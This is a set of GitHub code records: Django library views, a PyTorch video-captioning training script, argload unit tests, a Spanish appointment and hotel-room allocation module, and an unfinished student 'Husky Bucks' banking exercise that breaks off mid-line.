+{"seq_id":"30803943691","text":"from django.shortcuts import render\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.contrib.auth import logout, login, authenticate\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\nfrom library.models import *\n\n\n# Create your views here.\n\ndef logout_view(request):\n    logout(request)\n    return HttpResponseRedirect(reverse('library:index'))\n\n\ndef register(request):\n    if request.method != \"POST\":\n        form = UserCreationForm()\n    else:\n        form = UserCreationForm(data=request.POST)\n\n        if form.is_valid():\n            new_user = form.save()\n            authenticate_user = authenticate(username=new_user.username, password=request.POST['password1'])\n            login(request, authenticate_user)\n            # 同步Reader表\n            user = User.objects.get(username=new_user.username)\n            LibraryReader.objects.create(user_id=user.id)\n            return HttpResponseRedirect(reverse('library:index'))\n\n    context = {'form': form}\n    return render(request, 'users/register.html', context)\n\n\ndef records(request, user_id):\n    all_records = LibraryLoan.objects.filter(user_id=user_id)\n    returned = all_records.filter(flag__lte=0).values('id', 'book', 'loan_time', 'loan_date')  # 完成借阅\n    borrowing = all_records.filter(flag=1).values('id', 'book', 'loan_time', 'loan_date')  # 正在借阅\n    reserving = all_records.filter(flag=2).values('id', 'book', 'loan_time', 'loan_date')  # 正在预约\n    broken = returned.filter(flag__lt=0).values('id', 'book', 'loan_time', 'loan_date')  # 违约借阅记录\n    personal_info = User.objects.get(id=user_id)\n    notifications = LibraryNotification.objects.filter(user_id=user_id).filter(flag__lt=2).order_by('flag')\n\n    for record in returned:\n        book_isbn = LibraryBook.objects.get(id=record['book']).isbn\n        book_name = LibraryStock.objects.get(isbn=book_isbn).name\n        record['name'] = book_name\n        record['isbn'] = book_isbn\n    for record in broken:\n        book_isbn = LibraryBook.objects.get(id=record['book']).isbn\n        book_name = LibraryStock.objects.get(isbn=book_isbn).name\n        record['name'] = book_name\n        record['isbn'] = book_isbn\n    for record in borrowing:\n        book_isbn = LibraryBook.objects.get(id=record['book']).isbn\n        book_name = LibraryStock.objects.get(isbn=book_isbn).name\n        record['name'] = book_name\n        record['isbn'] = book_isbn\n    for record in reserving:\n        book_isbn = LibraryBook.objects.get(id=record['book']).isbn\n        book_name = LibraryStock.objects.get(isbn=book_isbn).name\n        record['name'] = book_name\n        record['isbn'] = book_isbn\n\n    context = {'returned': returned, 'broken': broken, 'borrowing': borrowing,\n               'reserving': reserving, 'personal_info': personal_info, 'notifications': notifications}\n    return render(request, 'users/user_records.html', context)\n\n","repo_name":"ChaokunChang/Library-Management-System","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18410185642","text":"import argparse\nimport datetime\nimport json\nimport logging\nimport os\nimport time\n\nimport torch\nimport torch.nn as nn\nfrom nltk.translate.bleu_score import corpus_bleu, sentence_bleu, SmoothingFunction\n\nfrom net.model import Encoder, Decoder\nfrom utils.data import create_split_loaders\nfrom utils.utils import set_logger, read_vocab, write_vocab, build_vocab, Tokenizer, padding_idx, clip_gradient\n\ncc = SmoothingFunction()\n\nfrom pycocoevalcap.bleu.bleu import Bleu\nfrom pycocoevalcap.meteor.meteor import Meteor\nfrom pycocoevalcap.rouge.rouge import Rouge\nfrom pycocoevalcap.cider.cider import Cider\nfrom pycocoevalcap.spice.spice import Spice\n\n\nclass Arguments():\n    def __init__(self, config):\n        for key in config:\n            setattr(self, key, config[key])\n\n\ndef save_checkpoint(state, cp_file):\n    torch.save(state, cp_file)\n\n\ndef count_paras(encoder, decoder, logging=None):\n    '''\n    Count model parameters.\n    '''\n    nparas_enc = sum(p.numel() for p in encoder.parameters())\n    nparas_dec = sum(p.numel() for p in decoder.parameters())\n    nparas_sum = nparas_enc + nparas_dec\n    if logging is None:\n        print('#paras of my model: enc {}M  dec {}M total {}M'.format(nparas_enc / 1e6, nparas_dec / 1e6,\n                                                                      nparas_sum / 1e6))\n    else:\n        logging.info('#paras of my model: enc {}M  dec {}M total {}M'.format(nparas_enc / 1e6, nparas_dec / 1e6,\n                                                                             nparas_sum / 1e6))\n\n\ndef setup(args, clear=False):\n    '''\n    Build vocabs from train or train/val set.\n    '''\n    TRAIN_VOCAB_EN, TRAIN_VOCAB_ZH = args.TRAIN_VOCAB_EN, args.TRAIN_VOCAB_ZH\n    if clear:  ## delete previous vocab\n        for file in [TRAIN_VOCAB_EN, TRAIN_VOCAB_ZH]:\n            if os.path.exists(file):\n                os.remove(file)\n    # Build English vocabs\n    if not os.path.exists(TRAIN_VOCAB_EN):\n        write_vocab(build_vocab(args.DATA_DIR, language='en'), TRAIN_VOCAB_EN)\n    # build Chinese vocabs\n    if not os.path.exists(TRAIN_VOCAB_ZH):\n        write_vocab(build_vocab(args.DATA_DIR, language='zh'), TRAIN_VOCAB_ZH)\n\n    # set up seed\n    torch.manual_seed(args.seed)\n    torch.cuda.manual_seed(args.seed)\n\n\ndef main(args):\n    model_prefix = '{}_{}'.format(args.model_type, args.train_id)\n\n    log_path = args.LOG_DIR + model_prefix + '/'\n    checkpoint_path = args.CHK_DIR + model_prefix + '/'\n    result_path = args.RESULT_DIR + model_prefix + '/'\n    cp_file = checkpoint_path + \"best_model.pth.tar\"\n    init_epoch = 0\n\n    if not os.path.exists(log_path):\n        os.makedirs(log_path)\n    if not os.path.exists(checkpoint_path):\n        os.makedirs(checkpoint_path)\n\n    ## set up the logger\n    set_logger(os.path.join(log_path, 'train.log'))\n\n    ## save argparse parameters\n    with open(log_path + 'args.yaml', 'w') as f:\n        for k, v in args.__dict__.items():\n            f.write('{}: {}\\n'.format(k, v))\n\n    logging.info('Training model: {}'.format(model_prefix))\n\n    ## set up vocab txt\n    setup(args, clear=True)\n    print(args.__dict__)\n\n    # indicate src and tgt language\n    en, zh = 'en', 'zh'\n\n    maps = {'en': args.TRAIN_VOCAB_EN, 'zh': args.TRAIN_VOCAB_ZH}\n    vocab_en = read_vocab(maps[en])\n    tok_en = Tokenizer(language=en, vocab=vocab_en, encoding_length=args.MAX_INPUT_LENGTH)\n    vocab_zh = read_vocab(maps[zh])\n    tok_zh = Tokenizer(language=zh, vocab=vocab_zh, encoding_length=args.MAX_INPUT_LENGTH)\n    logging.info('Vocab size en/zh:{}/{}'.format(len(vocab_en), len(vocab_zh)))\n\n    ## Setup the training, validation, and testing dataloaders\n    train_loader, val_loader, test_loader = create_split_loaders(args.DATA_DIR, (tok_en, tok_zh), args.batch_size,\n                                                                 args.MAX_VID_LENGTH, (en, zh), num_workers=4,\n                                                                 pin_memory=True)\n    logging.info('train/val/test size: {}/{}/{}'.format(len(train_loader), len(val_loader), len(test_loader)))\n\n    ## init model\n    encoder = Encoder(embed_size=args.wordembed_dim,\n                      hidden_size=args.enc_hid_size).cuda()\n    decoder = Decoder(embed_size=args.wordembed_dim, hidden_size=args.dec_hid_size,\n                      vocab_size_en=len(vocab_en), vocab_size_zh=len(vocab_zh)).cuda()\n\n    encoder.train()\n    decoder.train()\n\n    ## define loss\n    criterion = nn.CrossEntropyLoss(ignore_index=padding_idx).cuda()\n    ## init optimizer\n    dec_optimizer = torch.optim.Adam(params=filter(lambda p: p.requires_grad, decoder.parameters()),\n                                     lr=args.decoder_lr, weight_decay=args.weight_decay)\n    enc_optimizer = torch.optim.Adam(params=filter(lambda p: p.requires_grad, encoder.parameters()),\n                                     lr=args.encoder_lr, weight_decay=args.weight_decay)\n\n    count_paras(encoder, decoder, logging)\n\n    ## track loss during training\n    total_train_loss, total_val_loss = [], []\n    best_val_bleu_en, best_val_bleu_zh, best_epoch = 0, 0, 0\n\n    ## init time\n    zero_time = time.time()\n\n    # Begin training procedure\n    earlystop_flag = False\n    rising_count = 0\n\n    for epoch in range(init_epoch, args.epochs):\n        ## train for one epoch\n        start_time = time.time()\n        train_loss = train(train_loader, encoder, decoder, criterion, enc_optimizer, dec_optimizer, epoch)\n\n        val_loss, sentbleu_en, corpbleu_en = validate(val_loader, encoder, decoder, criterion, tok_en, tok_zh)\n        end_time = time.time()\n\n        epoch_time = end_time - start_time\n        total_time = end_time - zero_time\n\n        logging.info(\n            'Total time used: %s Epoch %d time uesd: %s train loss: %.4f val loss: %.4f corpbleu-en: %.4f' % (\n                str(datetime.timedelta(seconds=int(total_time))),\n                epoch, str(datetime.timedelta(seconds=int(epoch_time))), train_loss, val_loss, corpbleu_en))\n\n        if corpbleu_en > best_val_bleu_en:\n            best_val_bleu_en = corpbleu_en\n            save_checkpoint({'epoch': epoch,\n                             'enc_state_dict': encoder.state_dict(), 'dec_state_dict': decoder.state_dict(),\n                             'enc_optimizer': enc_optimizer.state_dict(), 'dec_optimizer': dec_optimizer.state_dict(),\n                             }, cp_file)\n            best_epoch = epoch\n\n        logging.info(\"Finished {0} epochs of training\".format(epoch + 1))\n\n        total_train_loss.append(train_loss)\n        total_val_loss.append(val_loss)\n\n    logging.info(\n        'Best corpus bleu score en-{:.4f} at epoch {}'.format(best_val_bleu_en, best_epoch))\n\n    ### the best model is the last model saved in our implementation\n    logging.info('************ Start eval... ************')\n    eval(test_loader, encoder, decoder, cp_file, tok_en, tok_zh, result_path)\n\n\ndef train(train_loader, encoder, decoder, criterion, enc_optimizer, dec_optimizer, epoch):\n    '''\n    Performs one epoch's training.\n    '''\n    encoder.train()\n    decoder.train()\n\n    avg_loss = 0\n    for cnt, (encap, zhcap, video, caplen_en, caplen_zh, enrefs, zhrefs) in enumerate(train_loader, 1):\n\n        encap, zhcap, video, caplen_en, caplen_zh = encap.cuda(), zhcap.cuda(), video.cuda(), caplen_en.cuda(), caplen_zh.cuda()\n\n        init_hidden, vid_out = encoder(\n            video)  # fea: decoder input from encoder, should be of size (mb, encout_dim) = (mb, decoder_dim)\n        scores_en, scores_zh = decoder(encap, zhcap, init_hidden, vid_out, args.MAX_INPUT_LENGTH,\n                                       teacher_forcing_ratio=args.teacher_ratio)\n\n        targets_en = encap[:,\n                     1:]  # Since we decoded starting with <start>, the targets are all words after <start>, up to <end>\n        loss_en = criterion(scores_en[:, 1:].contiguous().view(-1, decoder.vocab_size_en),\n                            targets_en.contiguous().view(-1))\n        targets_zh = zhcap[:,\n                     1:]  # Since we decoded starting with <start>, the targets are all words after <start>, up to <end>\n        loss_zh = criterion(scores_zh[:, 1:].contiguous().view(-1, decoder.vocab_size_zh),\n                            targets_zh.contiguous().view(-1))\n\n        # Back prop.\n        dec_optimizer.zero_grad()\n        if enc_optimizer is not None:\n            enc_optimizer.zero_grad()\n        loss = loss_en + loss_zh\n        loss.backward()\n\n        # Clip gradients\n        if args.grad_clip is not None:\n            clip_gradient(dec_optimizer, args.grad_clip)\n            clip_gradient(enc_optimizer, args.grad_clip)\n\n        # Update weights\n        dec_optimizer.step()\n        enc_optimizer.step()\n\n        # Keep track of metrics\n        avg_loss += loss.item()\n\n    return avg_loss / cnt\n\n\ndef validate(val_loader, encoder, decoder, criterion, tok_en, tok_zh):\n    '''\n    Performs one epoch's validation.\n    '''\n    decoder.eval()  # eval mode (no dropout or batchnorm)\n    if encoder is not None:\n        encoder.eval()\n\n    references_en = list()  # references (true captions) for calculating corpus BLEU-4 score\n    hypotheses_en = list()  # hypotheses (predictions)\n\n    references_zh = list()  # references (true captions) for calculating corpus BLEU-4 score\n    hypotheses_zh = list()  # hypotheses (predictions)\n\n    avg_loss = 0\n\n    with torch.no_grad():\n        # Batches\n        for cnt, (encap, zhcap, video, caplen_en, caplen_zh, enrefs, zhrefs) in enumerate(val_loader, 1):\n            encap, zhcap, video, caplen_en, caplen_zh = encap.cuda(), zhcap.cuda(), video.cuda(), caplen_en.cuda(), caplen_zh.cuda()\n\n            # Forward prop.\n            init_hidden, vid_out = encoder(\n                video)  # fea: decoder input from encoder, should be of size (mb, encout_dim) = (mb, decoder_dim)\n            scores_en, pred_lengths_en, scores_zh, pred_lengths_zh = decoder.inference(encap, zhcap, init_hidden,\n                                                                                       vid_out,\n                                                                                       args.MAX_INPUT_LENGTH)\n\n            # Since we decoded starting with <start>, the targets are all words after <start>, up to <end>\n            targets_en = encap[:, 1:]\n            scores_copy_en = scores_en.clone()\n            targets_zh = zhcap[:, 1:]\n            scores_copy_zh = scores_zh.clone()\n\n            # Calculate loss\n            loss_en = criterion(scores_en[:, 1:].contiguous().view(-1, decoder.vocab_size_en),\n                                targets_en.contiguous().view(-1))\n            loss_zh = criterion(scores_zh[:, 1:].contiguous().view(-1, decoder.vocab_size_zh),\n                                targets_zh.contiguous().view(-1))\n\n            # Hypotheses\n            _, preds_en = torch.max(scores_copy_en, dim=2)\n            preds_en = preds_en.tolist()\n            temp_preds_en = list()\n            for j, p in enumerate(preds_en):\n                temp_preds_en.append(preds_en[j][1:pred_lengths_en[j]])  # remove pads and idx-0\n\n            preds_en = temp_preds_en\n            hypotheses_en.extend(preds_en)  # preds= [1,2,3]\n\n            enrefs = [list(map(int, i.split())) for i in enrefs]  # tgtrefs = [[1,2,3], [2,4,3], [1,4,5,]]\n\n            for r in enrefs:\n                references_en.append([r])\n\n            assert len(references_en) == len(hypotheses_en)\n\n            _, preds_zh = torch.max(scores_copy_zh, dim=2)\n            preds_zh = preds_zh.tolist()\n            temp_preds_zh = list()\n            for j, p in enumerate(preds_zh):\n                temp_preds_zh.append(preds_zh[j][1:pred_lengths_zh[j]])  # remove pads and idx-0\n\n            preds_zh = temp_preds_zh\n            hypotheses_zh.extend(preds_zh)  # preds= [1,2,3]\n\n            zhrefs = [list(map(int, i.split())) for i in zhrefs]  # tgtrefs = [[1,2,3], [2,4,3], [1,4,5,]]\n\n            for r in zhrefs:\n                references_zh.append([r])\n\n            assert len(references_zh) == len(hypotheses_zh)\n\n            avg_loss += loss_en.item() + loss_zh.item()\n\n            # Since we decoded starting with <start>, the targets are all words after <start>, up to <end>\n\n            # Calculate loss\n\n            # Hypotheses\n\n        # Calculate metrics\n        avg_loss = avg_loss / cnt\n\n        scorers = {\n            \"Bleu\": Bleu(4),\n            \"Meteor\": Meteor(),\n            \"Rouge\": Rouge(),\n            \"Cider\": Cider(),\n            \"Spice\": Spice()\n        }\n\n        gts_en = {}\n        res_en = {}\n        for i in range(len(references_en)):\n            gts_en[i] = [tok_en.decode_sentence(references_en[i][0])]\n            res_en[i] = [tok_en.decode_sentence(hypotheses_en[i])]\n        scores = {}\n        for name, scorer in scorers.items():\n            score, all_scores = scorer.compute_score(gts_en, res_en)\n            if isinstance(score, list):\n                for i, sc in enumerate(score, 1):\n                    scores[name + str(i)] = sc\n            else:\n                scores[name] = score\n        print(\"Score of EN:\")\n        print(scores)\n\n        \"\"\"\n        gts_zh = {}\n        res_zh = {}\n        for i in range(len(references_zh)):\n            gts_zh[i] = [tok_zh.decode_sentence(references_zh[i][0])]\n            res_zh[i] = [tok_zh.decode_sentence(hypotheses_zh[i])]\n        scores = {}\n        for name, scorer in scorers.items():\n            score, all_scores = scorer.compute_score(gts_zh, res_zh)\n            if isinstance(score, list):\n                for i, sc in enumerate(score, 1):\n                    scores[name + str(i)] = sc\n            else:\n                scores[name] = score\n        print(\"Score of ZH:\")\n        print(scores)\n        \"\"\"\n        corpbleu_en = corpus_bleu(references_en, hypotheses_en)\n        sentbleu_en = 0\n        for i, (r, h) in enumerate(zip(references_en, hypotheses_en), 1):\n            sentbleu_en += sentence_bleu(r, h, smoothing_function=cc.method7)\n        sentbleu_en /= i\n\n    return avg_loss, sentbleu_en, corpbleu_en\n\n\ndef eval(test_loader, encoder, decoder, cp_file, tok_en, tok_zh, result_path):\n    '''\n    Testing the model\n    '''\n    ### the best model is the last model saved in our implementation\n    epoch = torch.load(cp_file)['epoch']\n    logging.info('Use epoch {0} as the best model for testing'.format(epoch))\n    encoder.load_state_dict(torch.load(cp_file)['enc_state_dict'])\n    decoder.load_state_dict(torch.load(cp_file)['dec_state_dict'])\n\n    decoder.eval()  # eval mode (no dropout or batchnorm)\n    if encoder is not None:\n        encoder.eval()\n\n    ids_en = list()  # sentence ids\n    hypotheses_en = list()  # hypotheses (predictions)\n    ids_zh = list()  # sentence ids\n    hypotheses_zh = list()  # hypotheses (predictions)\n    with torch.no_grad():\n        # Batches\n        for cnt, (video, sent_id) in enumerate(test_loader, 1):\n            video = video.cuda()\n\n            # Forward prop.\n            init_hidden, vid_out = encoder(\n                video)  # fea: decoder input from encoder, should be of size (mb, encout_dim) = (mb, decoder_dim)\n            preds_en, pred_lengths_en, preds_zh, pred_lengths_zh = decoder.beam_decoding(video, init_hidden, vid_out,\n                                                                                         args.MAX_INPUT_LENGTH,\n                                                                                         beam_size=5)\n\n            # Hypotheses\n            preds_en = preds_en.tolist()\n            temp_preds_en = list()\n            for j, p in enumerate(preds_en):\n                temp_preds_en.append(preds_en[j][:pred_lengths_en[j]])  # remove pads and idx-0\n\n            preds_en = [tok_en.decode_sentence(t) for t in temp_preds_en]\n\n            hypotheses_en.extend(preds_en)  # preds= [[1,2,3], ... ]\n            # Hypotheses\n            preds_zh = preds_zh.tolist()\n            temp_preds_zh = list()\n            for j, p in enumerate(preds_zh):\n                temp_preds_zh.append(preds_zh[j][:pred_lengths_zh[j]])  # remove pads and idx-0\n\n            preds_zh = [tok_zh.decode_sentence(t) for t in temp_preds_zh]\n\n            hypotheses_zh.extend(preds_zh)  # preds= [[1,2,3], ... ]\n\n            ids_en.extend(sent_id)\n            ids_zh.extend(sent_id)\n\n    ## save to json for submission\n    dc_en = dict(zip(ids_en, hypotheses_en))\n    print(len(dc_en))\n    dc_zh = dict(zip(ids_zh, hypotheses_zh))\n    print(len(dc_zh))\n    if not os.path.exists(result_path):\n        os.makedirs(result_path)\n    with open(result_path + 'submission_en.json', 'w') as fp:\n        json.dump(dc_en, fp)\n    with open(result_path + 'submission_zh.json', 'w') as fp:\n        json.dump(dc_zh, fp)\n    return dc_en\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description='VATEX Captioning')\n    parser.add_argument('--config', type=str, default='./configs.yaml')\n    args = parser.parse_args()\n    with open(args.config, 'r') as fin:\n        import yaml\n\n        args = Arguments(yaml.load(fin))\n    main(args)\n","repo_name":"acdart/vatex_caption_baseline","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":17028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29142295719","text":"\"\"\" Unit testing for Argload class \"\"\"\nfrom os import mkdir\nimport argparse\nimport shutil\nfrom unittest import TestCase\nimport argload\n\n\nclass TestArgload(TestCase):\n    \"\"\" Testing \"\"\"\n    def normal_test(self):\n        \"\"\" Test normal use case \"\"\"\n        try:\n            parser = argparse.ArgumentParser()\n            parser.add_argument('--a', type=int, nargs='*')\n            parser.add_argument('--b', type=int)\n            parser = argload.ArgumentLoader(parser, ['a'])\n            mkdir('log')\n            parser.parse_args(['--logdir', 'log', '--a', '3', '5', '--b', '2'])\n\n            args = parser.parse_args(['--logdir', 'log'])\n\n            self.assertTrue(args.a == [3, 5])\n            self.assertTrue(args.b is None)\n            self.assertTrue(args.logdir == 'log')\n\n            args = parser.parse_args(['--logdir', 'log', '--overwrite', '--a', '4'])\n\n            self.assertTrue(args.a == [4])\n            self.assertTrue(args.b is None)\n        finally:\n            shutil.rmtree('log')\n\n    def failed_overwrite_test(self):\n        \"\"\" Trying to overwrite without overwrite flag \"\"\"\n        try:\n            parser = argparse.ArgumentParser()\n            parser.add_argument('--a', type=int, nargs='*')\n            parser.add_argument('--b', type=int)\n            parser = argload.ArgumentLoader(parser, ['a'])\n            mkdir('log')\n            parser.parse_args(['--logdir', 'log', '--a', '3', '4', '--b', '2'])\n\n            with self.assertRaises(ValueError) as context:\n                parser.parse_args(['--logdir', 'log', '--a', '4'])\n\n            self.assertTrue(\"Overwritting\" in str(context.exception))\n        finally:\n            shutil.rmtree('log')\n\n    def dump_test(self):\n        \"\"\" Dumping modifies stored values \"\"\"\n        try:\n            parser = argparse.ArgumentParser()\n            parser.add_argument('--a', type=int, nargs='*')\n            parser.add_argument('--b', type=int)\n            parser = argload.ArgumentLoader(parser, ['a'])\n            mkdir('log')\n            parser.parse_args(['--logdir', 'log', '--a', '3', '4', '--b', '2'])\n\n            parser.parse_args(['--logdir', 'log', '--overwrite', '--dump', '--a', '3', '2'])\n            args = parser.parse_args(['--logdir', 'log'])\n\n            self.assertEqual([3, 2], args.a)\n        finally:\n            shutil.rmtree('log')\n\n    def nodir_test(self):\n        \"\"\" Fail if logdir does not exist \"\"\"\n        parser = argparse.ArgumentParser()\n        parser.add_argument('--a', type=int, nargs='*')\n        parser.add_argument('--b', type=int)\n        parser = argload.ArgumentLoader(parser, ['a'])\n        with self.assertRaises(ValueError) as context:\n            parser.parse_args(['--logdir', 'log', '--a', '3', '4', '--b', '2'])\n\n        self.assertIn(\"Logdir does\", str(context.exception))\n\n    def dump_no_overwrite_test(self):\n        \"\"\" Fail if dump is used without overwrite \"\"\"\n        try:\n            parser = argparse.ArgumentParser()\n            parser.add_argument('--a', type=int, nargs='*')\n            parser.add_argument('--b', type=int)\n            parser = argload.ArgumentLoader(parser, ['a'])\n            mkdir('log')\n            parser.parse_args(['--logdir', 'log', '--a', '3', '4', '--b', '2'])\n            with self.assertRaises(ValueError) as context:\n                parser.parse_args(['--logdir', 'log', '--a', '2', '4', '--b', '2', '--dump'])\n\n            self.assertIn(\"Dumping is not\", str(context.exception))\n        finally:\n            shutil.rmtree('log')\n\n    def overwrite_no_old_test(self):\n        \"\"\" Fail if overwrite or dump without first dump \"\"\"\n        try:\n            parser = argparse.ArgumentParser()\n            parser.add_argument('--a', type=int, nargs='*')\n            parser.add_argument('--b', type=int)\n            parser = argload.ArgumentLoader(parser, ['a'])\n            mkdir('log')\n            with self.assertRaises(ValueError) as context:\n                parser.parse_args(['--logdir', 'log', '--a', '2', '4', '--b', '2', '--overwrite'])\n\n            self.assertIn(\"No old\", str(context.exception))\n        finally:\n            shutil.rmtree('log')\n\n    def overwrite_default_test(self):\n        \"\"\" You can overwrite defaults, and it behaves properly \"\"\"\n        try:\n            parser = argparse.ArgumentParser()\n            parser.add_argument('--a', type=float, default=1e-3)\n            parser.add_argument('--b', type=float, default=2.)\n            parser = argload.ArgumentLoader(parser, ['a', 'b'])\n            mkdir('log')\n            parser.parse_args(['--logdir', 'log', '--a', '1e-2', '--b', '3.'])\n            args = parser.parse_args(['--logdir', 'log', '--a', '1e-3', '--overwrite'])\n            self.assertEqual(args.a, 1e-3)\n            self.assertEqual(args.b, 3.)\n        finally:\n            shutil.rmtree('log')\n","repo_name":"ctallec/argload","sub_path":"argload/tests/test_argload.py","file_name":"test_argload.py","file_ext":"py","file_size_in_byte":4813,"program_lang":"python","lang":"sr","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"30382194735","text":"import bcAsignacionCitasMedicas as bcACM\nimport bcAsignacionHabitacionesHotel as bcAHH\n\ndef asignar(objeto, recurso, asignacion, domain):\n    objeto.estado = \"Asignado\"\n\n    if domain == \"Asignación de Citas Médicas\":\n        if recurso.horario == []:\n            recurso.estado = \"Asignado\"\n\n    elif domain == \"Asignación de Habitaciones de Hotel\":\n        recurso.numeroCamas = 0\n        recurso.estado = \"Asignado\"\n\n    return asignacion\n\ndef regla1(objeto, recurso, domain):\n    if domain == \"Asignación de Citas Médicas\":\n        if objeto.doctorAsignado == recurso.nombre and recurso.horario != [] and objeto.estado == \"Pendiente\":\n            asignacion = \"El paciente \"+objeto.nombre+\" tiene una cita con el \"+recurso.nombre+\" en la \"+recurso.consulta+\" el día \"+recurso.horario[0]\n\n            recurso.horario.remove(recurso.horario[0])\n            asignar(objeto, recurso, asignacion, domain)\n            return asignacion\n    \n    elif domain == \"Asignación de Habitaciones de Hotel\":\n        if objeto.habitacionAsignada == recurso.nombre and recurso.numeroCamas >= objeto.unidadFamiliar and objeto.estado == \"Pendiente\":\n            asignacion = \"El cliente \"+objeto.nombre+\" tiene asignada la \"+recurso.nombre+\" con \"+str(recurso.numeroCamas)+\" camas\"\n\n            asignar(objeto, recurso, asignacion, domain)\n            return asignacion\n        \ndef regla2(objeto, recurso, domain):\n    if domain == \"Asignación de Citas Médicas\":\n        if objeto.doctorAsignado != recurso.nombre and recurso.horario != []  and objeto.estado == \"Pendiente\":\n            asignacion = \"El paciente \"+objeto.nombre+\" tiene una cita con el \"+recurso.nombre+\" en la \"+recurso.consulta+\" el día \"+recurso.horario[0]\n\n            recurso.horario.remove(recurso.horario[0])\n\n            asignar(objeto, recurso, asignacion, domain)\n            return asignacion\n\n    elif domain == \"Asignación de Habitaciones de Hotel\":\n        if objeto.habitacionAsignada != recurso.nombre and recurso.numeroCamas >= objeto.unidadFamiliar and objeto.estado == \"Pendiente\":\n            asignacion = \"El cliente \"+objeto.nombre+\" tiene asignada la \"+recurso.nombre+\" con \"+str(recurso.numeroCamas)+\" camas\"\n\n            asignar(objeto, recurso, asignacion, domain)\n            return asignacion\n\ndef asignacionObjetos(domain):\n    list3 = []\n    if domain == \"Asignación de Citas Médicas\":\n        for paciente in bcACM.pacientes:\n            for doctor in bcACM.doctores:\n                asig = regla1(paciente, doctor, domain)\n                if asig != None :\n                    list3.append(asig)\n                if paciente.doctorAsignado == doctor.nombre and doctor.estado == \"Asignado\":\n                    for doctor in bcACM.doctores:\n                        asig = regla2(paciente, doctor, domain)\n                        if asig != None :\n                            list3.append(asig)\n\n    elif domain == \"Asignación de Habitaciones de Hotel\":\n        for cliente in bcAHH.clientes:\n            for habitacion in bcAHH.habitaciones:\n                asig = regla1(cliente, habitacion, domain)\n                if asig != None :\n                    list3.append(asig)\n                if cliente.habitacionAsignada == habitacion.nombre and habitacion.numeroCamas < cliente.unidadFamiliar:\n                    for habitacion in bcAHH.habitaciones:\n                        asig = regla2(cliente, habitacion, domain)\n                        if asig != None :\n                            list3.append(asig)\n\n    return list3\n\n#Recorre la lista de pacientes y devuelve el nombre de cada uno\ndef getObjetosCitas():\n    nombres = []\n    for paciente in bcACM.pacientes:\n        nombres.append(paciente.nombre)\n    return nombres\n\n#Recorre la lista de pacientes y devuelve la descripcion del paciente seleccionado\ndef getDescripcionObjetosCitas(nombre):\n    for paciente in bcACM.pacientes:\n        if paciente.nombre == nombre:\n            return paciente.descripcion\n\ndef getRecursosCitas():\n    nombres = []\n    for doctor in bcACM.doctores:\n        nombres.append(doctor.nombre)\n    return nombres\n\ndef getDescripcionRecursosCitas(nombre):\n    for doctor in bcACM.doctores:\n        if doctor.nombre == nombre:\n            return doctor.descripcion\n\ndef getObjetosHotel():\n    nombres = []\n    for cliente in bcAHH.clientes:\n        nombres.append(cliente.nombre)\n    return nombres\n\ndef getDescripcionObjetosHotel(nombre):\n    for cliente in bcAHH.clientes:\n        if cliente.nombre == nombre:\n            return cliente.descripcion\n\ndef getRecursosHotel():\n    nombres = []\n    for habitacion in bcAHH.habitaciones:\n        nombres.append(habitacion.nombre)\n    return nombres  \n\ndef getDescripcionRecursosHotel(nombre):\n    for habitacion in bcAHH.habitaciones:\n        if habitacion.nombre == nombre:\n            return habitacion.descripcion\n","repo_name":"Silvya292/ProyectoFinalISSBC","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4845,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20732586205","text":"# day_3/brainstorm_challenge.py\n\n\"\"\"\n5 Ideas that you and your partner might want to work on. \n\nEx. I want to make a digital system for tracking husky bucks. \n\n1. \n2. \n3. \n4. \n5.\n\nAfter you have 5 ideas written down think about how you might go about building \nthe ideas with what you know so far. How could you break it down and make it out\nof code? Write that down below:\n\nEx. I need way to map uniue ids (maybe student ids?) to accounts held by students\nso maybe i can use a dictionary to hold ids(card_numbers) as keys and a class\nrepresenting student accounts as values then I just need a way to debit and\ncredit to the student's account.\n\n\nAfter you finish listing your 5 ideas and finish breaking down one of them you can\nstart working on a command line version below.\n\"\"\"\n\nclass HuskyBucksSystem:\n    \"\"\"\n    This is an example command line version of a husky bucks system\n    \"\"\"\n    def __init__(self) -> None:\n        self.accounts = {}\n\n    def add_student(self, student_id, name) -> None:\n        self.accounts[student_id] = Student(name)\n\n    def is_id_valid(self, id):\n        return self.accounts.get(id) != None\n\n    def check_for_funds(self, student_id, amount):\n        return self.get_balance(student_id) >= amount\n\n    def get_balance(self, student_id):\n        return self.accounts[student_id].current_balance() \n\n    def debit_student(self, student_id, amount):\n        self.accounts[student_id].debit(amount)\n\n    def credit_student(self, student_id, amount):\n        self.accounts[student_id].credit(amount)\n\n    def start(self):\n        print('Hello thanks for banking with husky')\n        while True:\n            user_input = None\n            while user_input not in ('a', 'check', 'c', 'd', 'e'):\n                if user_input != None:\n                    print(\"That wasn't an option\")\n                print('What would you like to do?')\n                print('Enter (a) to add a student')\n                print('Enter (check) to check a students funds')\n                print('Enter (c) to credit a student')\n                print('Enter (d) to debit a student')\n                print('Enter (e) to exit the system')\n                user_input = input('Please enter an option: ')\n\n            if user_input == 'a':\n                name = input('Please enter a name: ')\n                id = self.get_id()\n                self.add_student(id, name)\n                print(f'{name} was added to the Husky bucks system')\n            elif user_input == 'check':\n                id = self.get_id()\n                balance = self.get_balance(id)\n                print(f'The balance of account: {id} is {balance}')\n            elif user_input == 'c':\n                id = self.get_id()\n                if self.is_id_valid(id) == True:\n                    amount = self.get_amount()\n                    old_balance = self.get_balance(id)\n                    self.credit_student(id, amount)\n                    new_balance = self.get_balance(id)\n                    print(f'The balance of account: {id} was {old_balance} and is now {new_balance}')\n                else:\n                    print('thats not a valid id.')\n            elif user_input == 'd':\n                id = self.get_id()\n                if self.is_id_valid(id) == True:\n                    amount = self.get_amount()\n                    old_balance = self.get_balance(id)\n                    self.debit_student(id, amount)\n                    new_balance = self.get_balance(id)\n                    print(f'The balance of account: 